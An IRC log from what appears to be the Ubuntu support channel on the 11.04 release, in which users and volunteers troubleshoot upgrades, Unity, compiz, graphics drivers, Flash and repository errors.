[17:34] <feisar> man... I'm having no luck with 11.04, the upgrade screwed up my system and now a fresh install is stuck in an error loop
[17:34] <jaymeskeller> *bug
[17:34] <ActionParsnip> TheHackOps: mind you, I use a lot of LXDE these days
[17:34] <MnCC> TheHackOps, yeah .. cant get compiz to work
[17:34] <DasEi> NyvenZA: ic, second, changing it
[17:34] <TheHackOps> MnCC, Specificaly what won't work
[17:34] <NyvenZA> ActionParsnip: the 173 nvidia had the exact same results
[17:34] <tarunno> Hello guys
[17:34] <arand> zombor: Hmm, I guess the kernel work, but possibly it stumbles when it initialises video drivers or something, I don't know then I'm afraid, you may want to try the alternate install CD, or look up your particular computer model and video card model and see if there are known issues there..
[17:34] <BinaryMan> feisar: better luck than me. i can't get a livecd environment from the burned iso.
[17:34] <tarunno> happy release to all
[17:35] <tarunno> I have a question
[17:35] <cablop> give me a second about enabling the old gnome desktop
[17:35] <TheHackOps> MnCC, Or just compiz won't work at all
[17:35] <DasEi> NyvenZA: http://dl.dropbox.com/u/27668927/gnome.txt
[17:35] <aperson> arand⍈ sorry, rsibreak made me take a break: http://pastie.org/1847785
[17:35] <feisar> BinaryMan: that's not good to hear
[17:35] <MnCC> TheHackOps, it doesnt work
[17:35] <zombor> arand: im just using the built in video of the processor
[17:35] <tarunno> I read the Cannonicals official blog earlier
[17:35] <Kevin147> Can anyone help me?
[17:35] <TheHackOps> MnCC, 11.04 i assume?
[17:35] <TheHackOps> Kevin147, Shoot
[17:35] <aperson> arand⍈ that's an example, though what xargs is doing doesn't matter too much, it's the fact that it's not recognizing the function
[17:35] <DasEi> !details | Kevin147
[17:35] <ubottu> Kevin147: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[17:35] <tarunno> they said there won't be any netbook version in 11.04
[17:35] <Kevin147> I did already....:
[17:36] <Kevin147> I upgraded yesterday, and now my desktop is saying the following: "Minimal BASH-like line editing is supported. For the first word, TAB lists possible command completions. Anywhere else TAB lists possible device or file completions."
[17:36] <tarunno> but I can see a torrent file for 11.04 in Ubuntu site
[17:36] <MnCC> TheHackOps, yeah .. when i use --replace the window manager .. voila .. but dont know how to make that stick permanently
[17:36] <tarunno> why is that?
[17:36] <NyvenZA> DasEi: I can't get into the GUI,  I installed LightDM and on the login screen I see the option for classic. It goed the same problem
[17:36] <ActionParsnip> tarunno: i don't see how the two are linked
[17:36] <TheHackOps> MnCC, how are you making changes
[17:37] <abhishek> hello dear any one help me to upgarde my ubntu 10.10 in 11.04
[17:37] <tarunno> ActionParsnip, which two?
[17:37] <aperson> arand⍈ I'd guess it's because xargs uses a separate shell?
[17:37] <TheHackOps> MnCC, For compiz i use ccsm (found in software center) then open term and type sudo ccsm
[17:37] <ActionParsnip> !upgrade | abhishek
[17:37] <ubottu> abhishek: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[17:37] <DasEi> NyvenZA: sudo dpkg-reconfigure gdm && sudo service gdm start
[17:37] <SpaceBass> has anyone tried to compile x264 on 11.04? keeps failing on my server install
[17:37] <TheHackOps> MnCC, sudoer seems to work
[17:37] <ActionParsnip> tarunno: the lack of netbook and the torrent you can download ubuntu with
[17:37] <cablop> to open the classic gnome i think this wpuld be the guide http://ubuntuguide.net/ubuntu-11-04-natty-login-to-classic-gnome-2-desktop
[17:37] <dd214> anyone use a CAC?
[17:37] <MnCC> TheHackOps, used compiz settings manager
[17:37] <aperson> !anyone | dd214
[17:37] <ubottu> dd214: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[17:37] <ActionParsnip> dd214: what is CAC?
[17:37] <gartral> dd214: CAC?
[17:37] <dd214> Having trouble finding my CAC reader
[17:38] <charlie_> hi, i have a question about xubuntu, an easy one i guess.
[17:38] <aperson> !ask charlie_
[17:38] <gartral> charlie_: then ask!
[17:38] <charlie_> thx
[17:38] <maximm> anyone get unity running on two monitors ?
[17:38] <aperson> gah
[17:38] <cablop> in fact i tried unity in 10.10 and classic gnome, and, classic gnome saves the more space for you on a netbook screen, unity waste space.... ironically (at least in 10.10)
[17:38] <TheHackOps> MnCC, go into terminal and type sudo ccsm
[17:38] <aperson> !ask | charlie_
[17:38] <ubottu> charlie_: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[17:38] <dd214> ActionParsnip, CAC = Common Access Card
[17:38] <NyvenZA> oooooo
[17:38] <NyvenZA> something happend
[17:38] <NyvenZA> I used unity --replace
[17:38] <DasEi> NyvenZA: so ?
[17:39] <TheHackOps> MnCC, go into terminal and type sudo ccsm
[17:39] <charlie_> i just installes xubuntu 11.04 everything ok but xubuntu automatically mounts my windows volume on my desk
[17:39] <NyvenZA> gave a lot of test on the screen and the X start didn't work
[17:39] <arand> aperson: Hmm...
[17:39] <NyvenZA> I CTRL + C the unity--replace
[17:39] <MnCC> TheHackOps, no go =(
[17:39] <NyvenZA> and then when I went back to X
[17:39] <TheHackOps> there should be a huge WARNING DO NOT UPGRADE
[17:39] <NyvenZA> the icons I clicked on had opned apps
[17:39] <TheHackOps> May cause loss of sleep
[17:39] <tarunno> ActionParsnip, in this page it shows a torrent file for downloading "ubuntu-11.04-netbook-i386.iso" http://www.ubuntu.com/download/ubuntu/alternative-download
[17:39] <aperson> arand⍈ got a better way I can read lines from a file and run that function per line?
[17:39] <NyvenZA> and I can iinteract witht he icons on the desktop now
[17:39] <ActionParsnip> TheHackOps: ccsm with sudo isn't a good idea
[17:39] <tarunno> ActionParsnip, which seems like a deadlink
[17:40] <cablop> Nyvenza check this one http://ubuntuguide.net/ubuntu-11-04-natty-login-to-classic-gnome-2-desktop
[17:40] <TheHackOps> ActionParsnip, Fixed my flash Uber lag
[17:40] <ActionParsnip> tarunno: I always use: http://cdimage.ubuntu.com/releases/11.04/release/
[17:40] <DasEi> !yay | NyvenZA:
[17:40] <ubottu> NyvenZA:: Glad you made it! :-)
[17:40] <timrc> anyone with a tp experiencing weirdness with the battery indicator?  the indicator reports the correct time remaining but shows the battery as a red outline (which I thought was to indicate power is getting low)
[17:40] <jaymeskeller> Hi, I'm having problems with g5daemon under 11.04. It hangs with the error "/dev/input/uinput cannot be found". I tried to fix it by changing the setting to "/dev/uinput" but no go. Any ideas?
[17:40] <ActionParsnip> TheHackOps: sudo isn't to be used with GUI apps, use gksudo
[17:40] <TheHackOps> If you know what your doing its a rly good idea
[17:40] <jaymeskeller> *g15
[17:40] <timrc> er forgot to mention I'm running 11.04
[17:40] <Macer> anybody know where i can find ubuntu documentation on setting up coda?
[17:40] <einseenai> guys, if i upgrade to 11.04, will it brake my classic gnome?
[17:40] <NyvenZA> I don't currently have a window manger running but i can now atleast interact
[17:40] <dd214> I'm slowly going through dmesg to find CAC, but no luck
[17:40] <cablop> einseenai, afaik... yes
[17:40] <tarunno> ActionParsnip, I use the mirror hosted in my country
[17:40] <ActionParsnip> TheHackOps: sudo will run it as root, which won't change the users settings, it will change root
[17:40] <DasEi> Macer: look in the forum
[17:40] <cuppsy> On a fresh install of 11.04, Empathy disconnects from Windows Live every hour or so when inactive. Anyone have any idea why that would happen?
[17:40] <Kevin147> alright what ever, no one is gonna help me -_- thanks anyway
[17:40] <Dr_Willis> jaymeskeller:  i noticed some of my USB  devices not working/seen untill i unplug/plug them back in. :(
[17:40] <NyvenZA> ok,so now it is not a driver issue anymore, but it looks like an unity issue
[17:40] <Macer> DasEi: tried. dont see much
[17:40] <NyvenZA> gnome here i come
[17:40] <TheHackOps> ActionParsnip, Well you learn something new every day
[17:41] <Macer> i was hoping for a wiki
[17:41] <ActionParsnip> tarunno: I use torrents, much faster and allows you to give back to the community
[17:41] <arand> aperson: I think the end result of that is «« scmd say bash -c "screen -p 0 -S minecraft -X eval 'stuff \"$*\"\015'" »» Which I guess is not what you are after really?
[17:41] <aperson> !patience | Kevin`
[17:41] <ubottu> Kevin`: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[17:41] <charlie_> i dont want xubuntu to put windows volumes on my desk at startup. How can i fix it?
[17:41] <timrc> einseenai, you should be able to select "classic mode" when you login
[17:41] <aperson> arand⍈ it is, I'm sure of that
[17:41] <MnCC> TheHackOps, tried gksu .. but still no luck ..
[17:41] <einseenai> cablop, thx
[17:41] <DasEi> Macer: I don't have experience with it, also #ubuntu-server or #httpd might be places to ask
[17:41] <TheHackOps> MnCC, Wierd with gksudo mine got reset and won't stick anymore lulz
[17:41] <aperson> arand⍈ that function is just a base for a bunch of other commands, it works fine
[17:42] <Macer> httpd?
[17:42] <Dr_Willis> charlie_:  i think thats handled by the xubuntus file manager.   But it may be an all or nothing 'show icons of not' setting.  theres #xubuntu you can ask
[17:42] <Macer> for coda? :)
[17:42] <DasEi> Macer: server-related channel
[17:42] <A_J> Hey all, i want to Upgrade to Natty, i have a question : I have a Hard copy of Ubuntu:Linux 10.04 LTS Version, will I be able to reffer it, cause it's brand new. and i could not find any books on 10.10, so i presume i won't find anything on natty
[17:42] <cablop> einseenai recommendation was for me to wait at least one month before tryin to upgrade
[17:42] <arand> aperson: I guess you could just use "for i in file.list; do somethingwith "$i"; done"
[17:42] <Macer> i guess coda would be a good fs to use for httpd
[17:42] <Asad2005> alltray doesnot work with firefox in natty any help ?
[17:42] <NyvenZA> cablop: I don't have menus to click on, this doesn't really help
[17:42] <Macer> ok thx
[17:42] <TheHackOps> I got a problem i need help with while im here, Anyone know about fixing the epic fullscreen lag with flash
[17:42] <JonMarkGo> Hi all, I was upgrading to 11.04 and it asked me to reboot to complete the update. I rebooted and now I get "Kernel panic - Unable to mount root fs"
[17:42] <Dr_Willis> Asad2005:  the icontray thing i think has basically been removed.. i dont think alltray would work at all
[17:43] <cablop> Nyvenza, they replaced the menu for a button with all on it
[17:43] <wad> Yay, I got my 11.4 installed and running! Using it now. But.... where is the SYSTEM | PREFERENCES menu?
[17:43] <MnCC> TheHackOps, going for a reboot
[17:43] <charlie_> join #xubuntu
[17:43] <cablop> check the guide i gave you to get the old menus back
[17:43] <ChogyDan1> mikebeecham: even though I have the same issue as you, glxgears works.  So I think my card is working  *shrug*
[17:43] <TheHackOps> MnCC, Go for it
[17:43] <cablop> NyvenZA: check the guide i gave you to get the old menus back
[17:43] <tarunno> ActionParsnip, I download the ISO from mirror and then share that in our local tracker to BitTorrent it ;)
[17:43] <Dr_Willis> wad under the power button at top right.. for some reason
[17:43] <wad> Dr_Willis, There they are, thanks!
[17:43] <NyvenZA> cablop: I tried it, I can't get the classic to display on login
[17:43] <MnCC> TheHackOps, prob. wont do shit in my experience with ubuntu.. but it seems to help with windows
[17:43] <einseenai> timrc, thx, i know, but is this classic mode the same that gnome in 10.10?
[17:43] <Asad2005> Dr_Willis: but it is already working with other apps i tried it with calculator app ok
[17:43] <ActionParsnip> tarunno: same sort of deal
[17:43] <Dr_Willis> Im still not sure of the logic of putting that menu item under the Power button..
[17:43] <cablop> ok, then let me check it NyvenZA
[17:43] <A_J> any1 ?
[17:44] <ActionParsnip> tarunno: using torrents in the first instance means less faff
[17:44] <Chilaquiles> Hey, Does someone knows how to make the bar appear on the bottom of nautilus? it doesn't appear anymore, Im talking about the bar where the arrow to go back and the other arrow appear
[17:44] <A_J> Hey all, i want to Upgrade to Natty, i have a question : I have a  Hard copy of Ubuntu:Linux 10.04 LTS Version, will I be able to  reffer it, cause it's brand new. and i could not find any books on  10.10, so i presume i won't find anything on natty
[17:44] <DasEi> !ask | A_J
[17:44] <ubottu> A_J: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[17:44] <Asad2005> i am in classic not unity
[17:44] <TheHackOps> Yep
[17:44] <aperson> arand⍈ I suppose, I was trying to avoid cat'ing the file :)
[17:44] <cablop> NyvenZA: it should be there, in the login called ubuntu classic
[17:44] <Chilaquiles> Hey, Does someone knows how to make the bar appear on the bottom of the file,edit,view appear in nautilus? it doesn't appear anymore, Im talking about the bar where the arrow to go back and the other arrow appear
[17:44] <A_J> DasEi: check now ?
[17:44] <rcmaehl> After about 3 clean reinstalls of 11.04 and hundreds of updates it appears MOST of the bugs are out of 11.04
[17:44] <einseenai> cablop, thx a lot -)
[17:44] <arand> aperson: Hmm, with the one you used, you may want to enclose the bash string in $() to extract the result of running that command
[17:45] <aperson> arand⍈ yep, I know ;) thanks
[17:45] <NyvenZA> cablop:  the option is there. i select it, i login and then i get stuck
[17:45] <NyvenZA> I can't interact with the desktop
[17:45] <TheHackOps> ActionParsnip, Does your flash lag in fullscreen on things like youtube
[17:45] <DasEi>  A_J: you can use the updatemanager, and won't need lucid's cd then, just internet
[17:45] <asddfsasd> hello, if i upgrade to 11.04 from 10.10 will i lose my software, will it become incompatible?
[17:45] <ActionParsnip> rcmaehl: https://bugs.launchpad.net/ubuntu/natty/+bugs  says 329 bugs in Natty
[17:45] <asddfsasd> i already see bookmarks and data will remain but what about software?
[17:45] <Skei> Silly question, but, is there some equivalent of the Device Manager ? I'm not sure my second video card is being detected and failing, or not being detected at all.
[17:45] <TheHackOps> asddfsasd, Don't do it
[17:45] <rcmaehl> ActionParsnip: cimpare that to ysterday
[17:45] <MnCC> TheHackOps, well that didnt do shit ..
[17:46] <mateobur> Hello all
[17:46] <TheHackOps> asddfsasd, If you had to ask that the problems will become endless
[17:46] <A_J> umm, DasEi u got it wrong
[17:46] <mateobur> I'm having a lot of problems with the repositories in 11.04
[17:46] <DasEi>  A_J: rephrase please
[17:46] <asddfsasd> why? TheHackOps i didn't get your answer :s
[17:46] <mateobur> a lot of indexes aren't found, so a lot of packages are not present
[17:46] <A_J> DasEi: i wanted to know if i can use a 10.04 LT Book for refrence to Natty
[17:46] <cablop> ok Nyvenza, but you are in the classic gnome, the one you know and you can fix it, then, try alt+f1 to reach the menu, or alt+f2 to run apps and run ccsm
[17:46] <DasEi> mateobur: use synaptics to find best mirror
[17:46] <mateobur> i.e. Err http://ppa.launchpad.net natty/main amd64 Packages
[17:46] <mateobur>   404  Not Found
[17:46] <ActionParsnip> TheHackOps: its fine here on my Intel Corporation Mobile 945GM/GMS  as well as my desktop system on Nvidia 6150 onboard
[17:46] <TheHackOps> asddfsasd, Beacuse it really buggy and if you don't know about ubuntu that mich don't try it yet
[17:47] <mah454> Hello ...
[17:47] <cablop> NyvenZA: alternatively you can install compiz fusion icon to select default windows manager and so on
[17:47] <TheHackOps> ActionParsnip, Im plauged then
[17:47] <mah454> I downloaded ubuntu-11.04
[17:47] <kcin1>  is there skype for arm?
[17:47] <ActionParsnip> TheHackOps: are you running 64bit OS?
[17:47] <A_J> !ask mah454
[17:47] <TheHackOps> kcin1, arm?
[17:47] <mah454> why ubuntu switch to ubity desktop ?
[17:47] <TheHackOps> ActionParsnip, Yea
[17:47] <kcin1> TheHackOps:armel
[17:47] <ActionParsnip> mah454: you can use classic desktop if you wish
[17:47]  * rcmaehl has about 300-ish shortcut keys to remap
[17:47] <asddfsasd> TheHackOps, ah i see then well thanks for te answer
[17:47] <DasEi>  A_J: ah, yes quite far, but natty comes with unity and some software is gone btw. changed, but that's still a good refrence, why not stay on lucid ?
[17:47] <ActionParsnip> TheHackOps: tried 64bit flash?
[17:47] <A_J> !ask | mah454
[17:47] <ubottu> mah454: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[17:47] <cannonball> Quick question, is there an easy during the upgrade from 10.10 to 11.04 to keep Gnome instead of being switched to Unity?  Or is that just a decision that's made for you?
[17:47] <NyvenZA> ok, once, I get unity killed off , i can interact with the desktop
[17:47] <A_J> DasEi: well ?
[17:48] <ActionParsnip> kcin1: check on the skype site
[17:48] <TheHackOps> ActionParsnip, yea i used a script to get that sandbox thing or whatver it is
[17:48] <rcmaehl> cannonball: gnome is still there i think
[17:48] <Nyromith> Hello. I didn't like unity and want to migrate to xubuntu (several computers). Is there a possibility that Canonical will drop the support for xubuntu because it's not popular?
[17:48] <TheHackOps> the beta 3 .so plugin
[17:48] <cablop> cannonball, before login reselect ubuntu classic in login menu
[17:48] <TheHackOps> for firefox
[17:48] <ActionParsnip> TheHackOps: there is a ppa with 64bit flash on the omgubuntu site
[17:48] <abhishek> can i restore my ubuntu in previous day
[17:48] <TheHackOps> ActionParsnip, How well does it work?
[17:48] <ActionParsnip> TheHackOps: its the smae file for ALL browsers, not just firefox
[17:48] <Chilaquiles> Hey, Does someone knows how to make the bar appear on the bottom of the file,edit,view appear in nautilus? it doesn't appear anymore, Im talking about the bar where the arrow to go back and the other arrow appear
[17:48] <ActionParsnip> TheHackOps: works fine here
[17:48] <cannonball> cablop: you're talking about after a successful upgrade. That sounds easy enough, thanks.
[17:48] <kcin1> ActionParsnip:only i386 64
[17:48] <DasEi> Nyromith: not planned, netbook will disappear
[17:48] <A_J> Hey all, i want to Upgrade to Natty, i have a question : I have a  Hard copy of Ubuntu:Linux 10.04 LTS Version, will I be able to  reffer it, cause it's brand new. and i could not find any books on  10.10, so i presume i won't find anything on natty
[17:49] <ActionParsnip> kcin1: then no, its only for those
[17:49] <TheHackOps> ActionParsnip, brb ill try it now
[17:49] <mah454> ubottu where i can ask question for this ?
[17:49] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[17:49] <cablop> netbook are not going to dissapear
[17:49] <ActionParsnip> kcin1: skype is proprietary so you will only get it if skype make it
[17:49] <A_J> ActionParsnip: please have a ;ppl
[17:49] <A_J> look*
[17:49] <dotlegend> i am trying to copy data from a home folder (suse os) how can i properly take ownership and copy data to new external drive??
[17:49] <kcin1> ActionParsnip: but maemo has a package
[17:49] <kcin1> for
[17:49] <ActionParsnip> kcin1: then try using it in some way
[17:49] <kcin1> forarm
[17:49] <Jot> Hi! I have experienced very annoying problem. Ubuntu 11.04 does not recognize my monitor. As result, I can't set proper resolution and refresh rate -.- I have tried everything I found on Internet. I'm not gonna give up but it's second day since I have been using new ubuntu and still I can't set basic things.
[17:49] <kcin1> ok
[17:49] <eigba> Hello all
[17:49] <damicita> can natty 32 vercion be install on a 64 bit computer ?
[17:49] <maximm> anyone able to get unity to run on two monitors ?
[17:49] <A_J> ActionParsnip: please have a look at my question
[17:49] <rcmaehl> Jot: have you tried xrandr
[17:50] <dryicebomb> damicita: yes
[17:50] <ActionParsnip> A_J: what does "reffer" mean?
[17:50] <Jot> I'm not sure
[17:50] <Xylch> I have ubuntu installed on half of my hard drive, the other half is a blank partition. I wanna know if it's possible to install a fresh copy of 11.04 onto my my blank partition from within ubuntu (My CD Drive is broken and my laptop doesn't support USB boot).
[17:50] <Dr_Willis> maximm:  i keep hearing it has issues..
[17:50] <rcmaehl> Jot: open terminal sudo xrandr 00auto
[17:50] <rcmaehl> ><
[17:50] <cablop> Nyromith: afaik xubuntu didn't have the support that gnome orkade had, so... i suggest you to use classic ubuntu instead, it is gnome, but gnome works so nice in a netbook
[17:50] <chadi> can I enable multitouch in natty on the classic theme?
[17:50] <rcmaehl> Jot: open terminal sudo xrandr --auto
[17:50] <A_J> refer*, typo
[17:50] <A_J> sorry
[17:50] <damicita> ok thank you
[17:50] <wad> hmmm... went to the compiz preferences, and enabled the desktop cube, and enabled OpenGL, and then all the window borders vanished. I can't move windows around anymore.... ideas?
[17:50] <kcin1> ActionParsnip:thanks,i just thought there would be a package on ubuntu ports
[17:50] <calrik> maximm: I have but its not that great
[17:50] <cablop> Nyromith: well at least in Atom netbooks, dunno in arm or eee
[17:50] <rcmaehl> wad: it disabled the unity plugin
[17:50] <Dr_Willis> Nyromith:  it seems Lubuntu just 11.04 got released also. It works niocely on netbooks as well.
[17:51] <ActionParsnip> A_J: you can boot to it to help fix things, if thats what you mean....
[17:51] <eigba> How is everyone liking unity? I like the overal layout however it's going to take a lot of modifying for me
[17:51] <maximm> not liking it much
[17:51] <wad> rcmaehl, ah, thanks. I reenabled it... still now window happiness.
[17:51] <mateobur> could someone please share a working sources.list for 11.04 with me using pastebin?
[17:51] <chadi> eigba: I don't like it, going back to classic
[17:51] <ActionParsnip> eigba: its ok
[17:51] <eigba> I perfoer gnome 3 for sure
[17:51] <rcmaehl> wad: restart x
[17:51] <A_J> ActionParsnip: i'm, basically using the book to learn funtions of ubuntu, so incase i upgrade.. will that become obsolete
[17:51] <DasEi> ActionParsnip: the question was if a lucid manaual will still fit for natty, I already answered it
[17:51] <wad> rcmaehl, okay, thanks!
[17:51] <calrik> it sucks for multiple monitors
[17:51] <maximm> yeah i need to switch to gnome 3
[17:52] <DasEi>  A_J: ah, yes quite far, but natty comes with unity and some software is gone btw. changed, but that's still a good refrence, why not stay on lucid ?
[17:52] <Atluxity> eigba, I like it. Especially when I read myself up on the hotkeys
[17:52] <A_J> DasEi: what about CLI ?
[17:52] <ActionParsnip> DasEi: oh i see
[17:52] <A_J> DasEi: is that the same
[17:52] <ActionParsnip> A_J: they will be pretty much the same
[17:52] <craigbass1976> Anyone know how to shrink the size of thunderbird's font in the thread (I think that's what it's called) pane?  I can shrink it in the actual messages, but not there or in the mail folders pane
[17:52] <calrik> single monitor it isnt bad
[17:52] <rcmaehl> eigba: it's ok but I recommend setting the unity shortcut key to ctrl+super
[17:52] <rcmaehl> instead of just super
[17:52] <cablop> Nyromith: I'm running Ubuntu 10.10 on a Compaq Mini netbook with compiz enabled and classic interface, able o launch a Virtualbox with Windows XP on it and using the whole hard drive encrypted, performance is nice
[17:52] <aperson> arand⍈ hmm.. if I $(cat $SPATH/motd) it runs on every word of the file, but if I quote it "$(cat $SPATH/motd)" it only runs on the first line
[17:52] <eigba> Im defantly having fun tinkering with it, Not sure if its something im gonna keep though
[17:53] <Jot> rcmaehl: I typed your cmd in terminal and now it's spammed with things like -display -help -o etc
[17:53] <A_J> ok thankyou DasEi and ActionParsnip , one last thing is the updater stable, or is they needed to take a back-up..
[17:53] <greylurk> exit
[17:53] <DasEi>  A_J: yes, basically, as said some soft has changed, for info look up chanelog natty, there is a bunch on the net, or simply stay with lucid and test natty in a vm for now
[17:53] <rcmaehl> Jot: a gui terminal or a tty terminal?
[17:53] <Jot> gui one
[17:53] <ActionParsnip> A_J: you should have a backup ANYWAY
[17:53] <Dr_Willis> aperson:  bash is expanding the variables once vs twice i think
[17:53] <Chilaquiles> Hey, Does someone knows how to make the bar appear on the bottom of the file,edit,view appear in nautilus? it doesn't appear anymore, Im talking about the bar where the arrow to go back and the other arrow appear
[17:54] <rcmaehl> Jot: aare you sure you typed "sudo xrandr --auto"
[17:54] <rcmaehl> ?
[17:54] <rcmaehl> minus the quotes
[17:54] <Jot> yep
[17:54] <A_J> ActionParsnip: gonna be a tad difficult considering i have 3tb running.. anyway is it likeley to fail by personal experince ?
[17:54] <eigba> I wonder if they plan on putting gnome 3 in the repos? probably not?
[17:54] <robin0800> Chilaquiles, its in the view menu
[17:54] <DasEi>  A_J: hard to predict, some people have trouble, the majority obvoiusly not, or the channel would be overcrowded from it
[17:54] <Dr_Willis> !fonts
[17:54] <ubottu> Font installation basics here: https://help.ubuntu.com/community/FontInstallHowto - No fonts in Flash? Install "msttcorefonts" (from !Multiverse), "gsfonts", and "gsfonts-x11". No fonts in MPlayer? see !MPlayer. For the official ubuntu font, see: http://font.ubuntu.com/
[17:54] <arand> aperson: I'm not sure I know much more than you how to fix it at this point, I'm afraid..
[17:54] <kcin1> are there other repositories for ports apart from ports.ubuntu.com?
[17:54] <NyvenZA> what is the apt-get command to list for instance all the compiz packages that can be installed?
[17:54] <cablop> Chilaquiles dunno, maybe we don't have that issue, anyway try looking in the menus to see if you disable it by mistake or something
[17:54] <aperson> Dr_Willis⍈ hmm.. I just want to pass this function every line of this file as an argument
[17:54] <Chilaquiles> robin0800: I don't see anything in the view menu
[17:54] <aperson> arand⍈ thanks for the help
[17:54] <Jot> I would copy the text from terminal but it's impossible or I'm doing something terribly wrong
[17:55] <xangua> !gnome3 | eigba
[17:55] <ubottu> eigba: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[17:55] <A_J> ok thankyou ActionParsnip  and DasEi, will try
[17:55] <Jordan_U> aperson: You are misunderstanding. In the quoted case the entire file is being run as a sigle "command" (with no arguments, just treated as a file path)
[17:55] <Chilaquiles> cablop: I already did
[17:55] <A_J> !virualbox
[17:55] <DasEi>  A_J: ask if trouble
[17:55] <Browser> Hello
[17:55] <A_J> !virtualbox
[17:55] <ubottu> virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox
[17:55] <rcmaehl> Ubuntu 11.04 definitely takes getting used to
[17:55] <lgp171188> Hi, I have gwibber accounts configured and working, memenu status is set to available but still there is no textbox to broadcast the status message. Any ways to get it working?
[17:55] <hanazuki_> how do i get raido tray working in ubuntu natty ?
[17:55] <A_J> yes DasEi ty
[17:55] <DasEi> :)
[17:55] <Browser> The server natty are off?
[17:55] <scorch2> i am insatlling 11.04  it has gotten to generating grub.cfg and has stopped.  my cpu has been pegged about 10min.  any ideas?
[17:55] <cablop> Chilaquiles: here it is called main toolbar, click it
[17:55] <rcmaehl> hanazuki_: radio tray?
[17:55] <Sree_> Hello all. Recent ubuntu user - a beginner here. I messed up installing Ubuntu on dell 610m laptop. The vista it came with it is gone and my wife wants it back with vista on it. Could somebody please help? I have the reinstallation DVD from Dell available...Thanks in advance
[17:55] <cablop> Chilaquiles: View > Main Toolbar check it
[17:55] <eigba> I think people comming from mac will enjoy 11.04 lol
[17:55] <Jot> rcmaehl: I typed 00 instead of ---
[17:55] <Ahmuck> i need help with unity
[17:55] <DasEi> Browser: natty is released, and can be d/l 'ed
[17:56] <Chilaquiles> cablop: It's already checked
[17:56] <rcmaehl> Jot: oh
[17:56] <TheHackOps> ActionParsnip, Downloading from the ppa since the deb package didn't work
[17:56] <hanazuki_> rcmaehl,  yes i upgraded from 10.10 to natty but now it wont start
[17:56] <rcmaehl> Jot: its' only 2 -
[17:56] <calrik> I really dont like the fact cant right click desktop to enable better desktop effects any more
[17:56] <robin0800> Chilaquiles, its the location bar
[17:56] <Ahmuck> how do you modify the top and side bar?
[17:56] <Jot> now it says it failed to get size of gamma
[17:56] <Ahmuck> preferences
[17:56] <rcmaehl> hanazuki_: was it removed in the update?
[17:56] <A_J> Sree_: use a partion manager, wipe the HDD clean, considering you have no data, and then install Vista
[17:56] <ActionParsnip> A_J: what if a drive motor fails, where is your data?
[17:56] <DasEi> !download | Browser
[17:56] <ubottu> Browser: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Natty, and help keeping the servers' load low!
[17:56] <Browser> no DasEi
[17:56] <A_J> ActionParsnip: good Point..
[17:56] <cablop> Chilaquiles: try reloading window manager or logging off then in again... but it is a weird issue
[17:56] <Chilaquiles> robin0800: They are all checked
[17:56] <scorch2> i am insatlling 11.04  it has gotten to generating grub.cfg and has stopped.  my cpu has been pegged about 10min.  any ideas?
[17:56] <hanazuki_> rcmaehl,  oehh i cant confirm that
[17:56] <Ahmuck> i also need to change the resolution for the monitor, but can't find a resolution changer anywhere
[17:56] <aperson> Jordan_U⍈  http://pastie.org/1847865 is the relevant parts of the script
[17:56] <mastertogo> in Unity, is it possible to mouse in to other workspaces? e.g. when the mouse touches a screen edge, move into the next workspace in that direction?
[17:56] <eigba> Nothing wrong with a new desktop enviroment comming out, however they should put gnome 3 on the repo also
[17:57] <TheHackOps> A_J, in your head
[17:57] <Chilaquiles> cablop: I restarted Ubuntu and it didin't work
[17:57] <cablop> and i agree
[17:57] <A_J> ActionParsnip: i really don't understand how how to back up so much data, without going into Raid 0
[17:57] <Dr_Willis> Ahmuck:  under the 'power button' theres a menu item
[17:57] <hanazuki_> rcmaehl,  it says its installed
[17:57] <arand> Sree_: For reinstalling windows, see ##windows, but it's presumably just a matter of booting the CD...
[17:57] <Dr_Willis> Ahmuck:  dont ask me why they put it there.
[17:57] <Chilaquiles> cablop: I even Reinstalled nautilus
[17:57] <Browser> I cannot update the repository in Natty: I write: sudo apt-get update ...
[17:57] <ActionParsnip> A_J: you will be paying thosands for professional and non-garunteed data retrieval, contrast with a couple hundrd for some USB storages....
[17:57] <Sree_> A_J: Could you please help me on how to get the partition manager onto the machine with ubuntu?
[17:57] <xgt001> hey any1 getting good battery backup in natty?
[17:57] <cablop> MAc people would like new ubuntu's .... anyway mac users got used for OTHERS to decided what's the best for them
[17:57] <robin0800> Chilaquiles, try setting them off and then back on
[17:57] <Ahmuck> is there a way to make unity double wide?
[17:57] <ActionParsnip> A_J: raid 0 isn't needed, raid 0 gives spped, not capacity
[17:57] <A_J> Sree_: have you installed ubuntu and it is working ?
[17:57] <A_J> ActionParsnip: raid 1 my mistake
[17:57] <ceo> am have install wine and am need run ms office 2007
[17:57] <TheHackOps> Sree_, Search gpart in the software center
[17:58] <DasEi> Browser: ic, open synaptics, use find fastest server
[17:58] <Goliath> hey i just installed ubuntu. any must packages to get?
[17:58] <Chilaquiles> robin0800: nothing...
[17:58] <Nuge> Is it possible to force a recursive wget on a directory?
[17:58] <ceo> am have install wine and am need run ms office 2007  but have problem or error like this The file '/home/ceo/Desktop/Microsoft Office 2007 Enterprise/setup.exe' is not marked as executable.  If this was downloaded or copied from an untrusted source, it may be dangerous to run.  For more details, read about the executable bit. can helpp
